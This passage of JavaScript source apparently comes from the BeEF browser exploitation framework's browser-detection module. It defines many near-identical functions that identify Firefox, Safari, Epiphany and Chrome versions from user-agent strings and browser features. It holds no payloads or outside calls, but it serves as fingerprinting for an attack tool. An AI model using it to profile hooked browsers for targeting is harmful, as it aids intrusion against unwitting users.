window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/90./) != null;\n    },\n\n    /**\n     * Returns true if FF91\n     * @example: beef.browser.isFF91()\n     */\n    isFF91: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/91./) != null;\n    },\n\n    /**\n     * Returns true if FF92\n     * @example: beef.browser.isFF92()\n     */\n    isFF92: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/92./) != null;\n    },\n\n    /**\n     * Returns true if FF93\n     * @example: beef.browser.isFF93()\n     */\n    isFF93: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/93./) != null;\n    },\n\n    /**\n     * Returns true if FF94\n     * @example: beef.browser.isFF94()\n     */\n    isFF94: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/94./) != null;\n    },\n\n    /**\n     * Returns true if FF95\n     * @example: beef.browser.isFF95()\n     */\n    isFF95: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/95./) != null;\n    },\n\n    /**\n     * Returns true if FF96\n     * @example: beef.browser.isFF96()\n     */\n    isFF96: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/96./) != null;\n    },\n\n    /**\n     * Returns true if FF97\n     * @example: beef.browser.isFF97()\n     */\n    isFF97: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/97./) != null;\n    },\n\n    /**\n     * Returns true if FF98\n     * @example: beef.browser.isFF98()\n     */\n    isFF98: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/98./) != null;\n    },\n\n    /**\n     * Returns true if FF99\n     * @example: beef.browser.isFF99()\n     */\n    isFF99: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/99./) != null;\n    }, \n\n    /**\n     * Returns true if the browser is any version of Firefox.\n     * @example: beef.browser.isFFbowser()\n    */\n    isFFbowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Firefox';\n    },\n\n    /**\n     * Returns true if the browser is any version of Firefox.\n     * @example: beef.browser.isFF()\n     */\n    isFF: function () {\n        var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();\n        return legacyCheck || this.isFFbowser();\n    },\n\n    /**\n     * Returns true if Safari 4.xx\n     * @example: beef.browser.isS4()\n     */\n    isS4: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Safari\\/4/) != null &amp;&amp; !window.globalStorage &amp;&amp; !!window.getComputedStyle &amp;&amp; !window.opera &amp;&amp; !window.chrome &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 5.xx\n     * @example: beef.browser.isS5()\n     */\n    isS5: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Safari\\/5/) != null &amp;&amp; !window.globalStorage &amp;&amp; !!window.getComputedStyle &amp;&amp; !window.opera &amp;&amp; !window.chrome &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 6.xx\n     * @example: beef.browser.isS6()\n     */\n    isS6: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Safari\\/6/) != null &amp;&amp; !window.globalStorage &amp;&amp; !!window.getComputedStyle &amp;&amp; !window.opera &amp;&amp; !window.chrome &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 7.xx\n     * @example: beef.browser.isS7()\n     */\n    isS7: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Safari\\/7/) != null &amp;&amp; !window.globalStorage &amp;&amp; !!window.getComputedStyle &amp;&amp; !window.opera &amp;&amp; !window.chrome &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari 8.xx\n     * @example: beef.browser.isS8()\n     */\n    isS8: function () {\n        return (window.navigator.userAgent.match(/ Version\\/\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Safari\\/8/) != null &amp;&amp; !window.globalStorage &amp;&amp; !!window.getComputedStyle &amp;&amp; !window.opera &amp;&amp; !window.chrome &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Returns true if Safari.\n     * @example: beef.browser.isS()\n     */\n    isS: function () {\n        return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();\n    },\n\n    /**\n     * Returns true if Webkit based\n     */\n\n\n    isWebKitBased: function () {\n        /*\n        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\\d+/ functions.\n        */\n        return (!window.opera &amp;&amp; !window.chrome\n                &amp;&amp; window.navigator.userAgent.match(/ Version\\/\\d/) != null\n                &amp;&amp; !window.globalStorage\n                &amp;&amp; !!window.getComputedStyle\n                &amp;&amp; !(\"MozWebSocket\" in window));\n    },\n\n    /**\n     * Return true if Epiphany\n     * @example: beef.browser.isEpi()\n     */\n    isEpi: function () {\n        // Epiphany is based on webkit\n        // due to the uncertainty of webkit version vs Epiphany versions tracking.\n        // -- do webkit based checking (i.e. do safari checks)\n        return this.isWebKitBased() &amp;&amp;  window.navigator.userAgent.match(/Epiphany\\//) != null;\n    },\n\n\n    /**\n     * Returns true if Chrome 5.\n     * @example: beef.browser.isC5()\n     */\n    isC5: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 5) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 6.\n     * @example: beef.browser.isC6()\n     */\n    isC6: function () {\n        return (!!window.chrome &amp;&amp; !!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 6) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 7.\n     * @example: beef.browser.isC7()\n     */\n    isC7: function () {\n        return (!!window.chrome &amp;&amp; !!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 7) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 8.\n     * @example: beef.browser.isC8()\n     */\n    isC8: function () {\n        return (!!window.chrome &amp;&amp; !!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 8) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 9.\n     * @example: beef.browser.isC9()\n     */\n    isC9: function () {\n        return (!!window.chrome &amp;&amp; !!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 9) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 10.\n     * @example: beef.browser.isC10()\n     */\n    isC10: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 10) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 11.\n     * @example: beef.browser.isC11()\n     */\n    isC11: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 11) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 12.\n     * @example: beef.browser.isC12()\n     */\n    isC12: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 12) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 13.\n     * @example: beef.browser.isC13()\n     */\n    isC13: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 13) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 14.\n     * @example: beef.browser.isC14()\n     */\n    isC14: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 14) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 15.\n     * @example: beef.browser.isC15()\n     */\n    isC15: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 15) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 16.\n     * @example: beef.browser.isC16()\n     */\n    isC16: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 16) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 17.\n     * @example: beef.browser.isC17()\n     */\n    isC17: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 17) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 18.\n     * @example: beef.browser.isC18()\n     */\n    isC18: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 18) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 19.\n     * @example: beef.browser.isC19()\n     */\n    isC19: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 19) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 19.\n     * @example: beef.browser.isC19iOS()\n     */\n    isC19iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 19) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 20.\n     * @example: beef.browser.isC20()\n     */\n    isC20: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 20) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 20.\n     * @example: beef.browser.isC20iOS()\n     */\n    isC20iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 20) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 21.\n     * @example: beef.browser.isC21()\n     */\n    isC21: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 21) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 21.\n     * @example: beef.browser.isC21iOS()\n     */\n    isC21iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 21) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 22.\n     * @example: beef.browser.isC22()\n     */\n    isC22: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 22) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 22.\n     * @example: beef.browser.isC22iOS()\n     */\n    isC22iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 22) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 23.\n     * @example: beef.browser.isC23()\n     */\n    isC23: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 23) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 23.\n     * @example: beef.browser.isC23iOS()\n     */\n    isC23iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 23) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 24.\n     * @example: beef.browser.isC24()\n     */\n    isC24: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 24) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 24.\n     * @example: beef.browser.isC24iOS()\n     */\n    isC24iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 24) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 25.\n     * @example: beef.browser.isC25()\n     */\n    isC25: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 25) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 25.\n     * @example: beef.browser.isC25iOS()\n     */\n    isC25iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 25) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 26.\n     * @example: beef.browser.isC26()\n     */\n    isC26: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 26) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 26.\n     * @example: beef.browser.isC26iOS()\n     */\n    isC26iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 26) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 27.\n     * @example: beef.browser.isC27()\n     */\n    isC27: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 27) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 27.\n     * @example: beef.browser.isC27iOS()\n     */\n    isC27iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 27) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 28.\n     * @example: beef.browser.isC28()\n     */\n    isC28: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 28) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 28.\n     * @example: beef.browser.isC28iOS()\n     */\n    isC28iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 28) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 29.\n     * @example: beef.browser.isC29()\n     */\n    isC29: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 29) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 29.\n     * @example: beef.browser.isC29iOS()\n     */\n    isC29iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 29) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 30.\n     * @example: beef.browser.isC30()\n     */\n    isC30: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 30) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 30.\n     * @example: beef.browser.isC30iOS()\n     */\n    isC30iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 30) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 31.\n     * @example: beef.browser.isC31()\n     */\n    isC31: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 31) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 31.\n     * @example: beef.browser.isC31iOS()\n     */\n    isC31iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 31) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 32.\n     * @example: beef.browser.isC32()\n     */\n    isC32: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 32) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 32.\n     * @example: beef.browser.isC32iOS()\n     */\n    isC32iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 32) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 33.\n     * @example: beef.browser.isC33()\n     */\n    isC33: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 33) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 33.\n     * @example: beef.browser.isC33iOS()\n     */\n    isC33iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 33) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 34.\n     * @example: beef.browser.isC34()\n     */\n    isC34: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 34) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 34.\n     * @example: beef.browser.isC34iOS()\n     */\n    isC34iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 34) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 35.\n     * @example: beef.browser.isC35()\n     */\n    isC35: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 35) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 35.\n     * @example: beef.browser.isC35iOS()\n     */\n    isC35iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 35) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 36.\n     * @example: beef.browser.isC36()\n     */\n    isC36: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 36) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 36.\n     * @example: beef.browser.isC36iOS()\n     */\n    isC36iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 36) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 37.\n     * @example: 